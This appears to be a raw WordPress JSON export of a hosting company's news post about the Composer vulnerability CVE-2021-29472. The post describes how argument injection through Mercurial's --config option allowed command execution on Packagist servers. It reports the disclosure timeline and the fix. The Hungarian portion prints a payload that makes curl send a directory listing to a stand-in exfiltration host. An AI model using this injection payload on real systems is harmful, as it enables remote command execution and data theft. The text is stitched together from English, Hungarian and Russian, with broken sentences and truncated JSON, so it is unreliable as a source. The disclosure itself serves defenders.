A critical vulnerability (CVE-2021-29472) has been identified in the Composer dependency manager, which allows arbitrary commands to be executed on the system when processing a package with a specially crafted URL that specifies the location for downloading source code. This issue manifests in the GitDriver, SvnDriver, and HgDriver components used in source control systems like Git, Subversion, and Mercurial. The vulnerability has been addressed in Composer versions 1.10.22 and 2.0.13. <\/p>\n
It is particularly noteworthy that the problem mainly affected the Packagist package repository, which is used by default in Composer, containing 306,000 packages for PHP developers and servicing over 1.4 billion downloads monthly. Experiments have shown that if attackers were aware of the issue, they could gain control over Packagist's infrastructure, intercept credentials, or redirect package downloads to an external server, delivering modified package variants to insert a backdoor during dependency installation. <\/p>\n
The danger for end users is limited since the content of composer.json is typically defined by the user, and links to source code are referenced by accessing generally trustworthy external repositories. The main impact was on the Packagist.org repository and the Private Packagist service, which invokes Composer by passing data obtained from users. Malicious actors could have executed their code on Packagist servers by deploying a specially crafted package. <\/p>\n
The Packagist team resolved the vulnerability within 12 hours after being alerted. Researchers privately notified the Packagist developers on April 22, and the issue was corrected the same day. The public update of Composer that remedied the vulnerability was released on April 27, with details disclosed on April 28. An audit of logs on Packagist servers found no suspicious activity related to the vulnerability. <\/p>\n
A probl\u00e9ma a composer.json gy\u00f6k\u00e9rf\u00e1jlj\u00e1ban tal\u00e1lhat\u00f3 URL-ellen\u0151rz\u0151 k\u00f3d hib\u00e1j\u00e1b\u00f3l ad\u00f3dik, valamint a forr\u00e1sk\u00f3dok let\u00f6lt\u00e9si linkeib\u0151l. A hiba 2011 novembere \u00f3ta a k\u00f3dban van. A Packagistn\u00e1l a forr\u00e1sk\u00f3dok let\u00f6lt\u00e9s\u00e9nek szervez\u00e9s\u00e9re speci\u00e1lis r\u00e9tegek ker\u00fclnek alkalmaz\u00e1sra, amelyek a \u201efromShellCommandline\u201d h\u00edv\u00e1s\u00e1val val\u00f3sulnak meg, parancssori argumentumok \u00e1tad\u00e1s\u00e1val. P\u00e9ld\u00e1ul a git eset\u00e9ben a \u201egit ls-remote \u2014heads $URL\u201d parancs h\u00edv\u00e1sra ker\u00fcl, ahol az URL a \u201eProcessExecutor::escape($url)\u201d met\u00f3dussal van feldolgozva, amely potenci\u00e1lisan vesz\u00e9lyes strukt\u00far\u00e1k, p\u00e9ld\u00e1ul \u201e$(…)\u201d vagy \u201e`…`\u201d kisz\u0171r\u00e9s\u00e9re szolg\u00e1l. <\/p>\n
A probl\u00e9ma l\u00e9nyege, hogy a ProcessExecutor::escape met\u00f3dus nem sz\u0171rte le a \u201e\u2014\u201d sorozatot, amely lehet\u0151v\u00e9 tette, hogy b\u00e1rmilyen tov\u00e1bbi param\u00e9tert megadjunk az URL h\u00edv\u00e1sakor. Hasonl\u00f3 sz\u0171r\u00e9s hi\u00e1nyzott a GitDriver.php, SvnDriver.php \u00e9s HgDriver.php driverekb\u0151l. A GitDriver.php-n kereszt\u00fcli t\u00e1mad\u00e1st akad\u00e1lyozta, hogy a \u201egit ls-remote\u201d parancs nem t\u00e1mogatta a tov\u00e1bbi argumentumok megad\u00e1s\u00e1t az \u00fatvonal ut\u00e1n. Lehet\u0151v\u00e9 v\u00e1lt a HgDriver.php-n kereszt\u00fcli t\u00e1mad\u00e1s az \u201e\u2014config\u201d param\u00e9ter \u00e1tad\u00e1s\u00e1val a \u201ehq\u201d utility sz\u00e1m\u00e1ra, amely lehet\u0151v\u00e9 tette b\u00e1rmely parancs v\u00e9grehajt\u00e1s\u00e1t az \u201ealias.identify\u201d be\u00e1ll\u00edt\u00e1ssal val\u00f3 manipul\u00e1ci\u00f3val. P\u00e9ld\u00e1ul a k\u00f3d let\u00f6lt\u00e9s\u00e9hez \u00e9s v\u00e9grehajt\u00e1s\u00e1hoz a curl utility ind\u00edt\u00e1s\u00e1n kereszt\u00fcl az al\u00e1bbiakat lehetett megadni: \u2014config=alias.identify=!curl http:\/\/exfiltration-host.tld \u2014data \"$(ls -alh)\" <\/p>\n
Miut\u00e1n a Packagist-ban elhelyeztek egy tesztcsomagot hasonl\u00f3 URL-lel, a kutat\u00f3k meger\u0151s\u00edtett\u00e9k, hogy a szerver\u00fckre \u00e9rkezett egy HTTP-k\u00e9rd\u00e9s egyik szerverek<\/a> Packagist az AWS-en, amely a jelenlegi k\u00f6nyvt\u00e1r f\u00e1jljainak list\u00e1j\u00e1t tartalmazza. \u0412 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Composer \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2021-29472), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 \u0441\u043e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c URL, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0449\u0438\u043c \u0430\u0434\u0440\u0435\u0441 \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0445 \u0442\u0435\u043a\u0441\u0442\u043e\u0432. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 GitDriver, SvnDriver \u0438 HgDriver, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u044b\u0445 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c\u0438 \u0442\u0435\u043a\u0441\u0442\u0430\u043c\u0438 Git, Subversion \u0438 Mercurial. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0432 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0445 Composer 1.10.22 \u0438 2.0.13. […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-100078","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Sebezhet\u0151s\u00e9g a Composer csomagkezel\u0151ben, amely lehet\u0151s\u00e9get ad a Packagist PHP-repozit\u00f3rium kompromitt\u00e1l\u00e1s\u00e1ra | ProHoster","description":"A Composer f\u00fcgg\u0151s\u00e9gkezel\u0151j\u00e9ben kritikus sebezhet\u0151s\u00e9get (CVE-2021-29472) fedeztek fel, amely lehet\u0151v\u00e9 teszi v\u00e9letlenszer\u0171 parancsok v\u00e9grehajt\u00e1s\u00e1t a rendszerben egy k\u00fcl\u00f6n\u00f6sen form\u00e1zott URL-\u00e9rt\u00e9kel\u00e9ssel rendelkez\u0151 csomag feldolgoz\u00e1sa sor\u00e1n.","canonical_url":"https:\/\/prohoster.info\/hu\/blog\/news\/uyazvimost-v-paketnom-menedzhere-composer-dopuskayushhaya-komprometacziyu-php-repozitoriya-packagist","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"hu_HU","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u043c \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0435 Composer, \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u044e\u0449\u0430\u044f \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u044e PHP-\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f Packagist | ProHoster","og:description":"\u0412 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Composer \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2021-29472), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 \u0441\u043e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c URL, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0449\u0438\u043c.","og:url":"https:\/\/prohoster.info\/hu\/blog\/news\/uyazvimost-v-paketnom-menedzhere-composer-dopuskayushhaya-komprometacziyu-php-repozitoriya-packagist","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2021-05-03T08:22:39+00:00","article:modified_time":"2021-05-03T08:22:39+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"100078","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-05-03 08:26:11","updated":"2026-02-09 16:50:51","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/hu\/wp-json\/wp\/v2\/posts\/100078","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/hu\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/hu\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/hu\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/hu\/wp-json\/wp\/v2\/comments?post=100078"}],"version-history":[{"count":1,"href":"https:\/\/prohoster.info\/hu\/wp-json\/wp\/v2\/posts\/100078\/revisions"}],"predecessor-version":[{"id":158822,"href":"https:\/\/prohoster.info\/hu\/wp-json\/wp\/v2\/posts\/100078\/revisions\/158822"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/hu\/wp-json\/wp\/v2\/media?parent=100078"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/hu\/wp-json\/wp\/v2\/categories?post=100078"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/hu\/wp-json\/wp\/v2\/tags?post=100078"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
\n
Forr\u00e1s: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"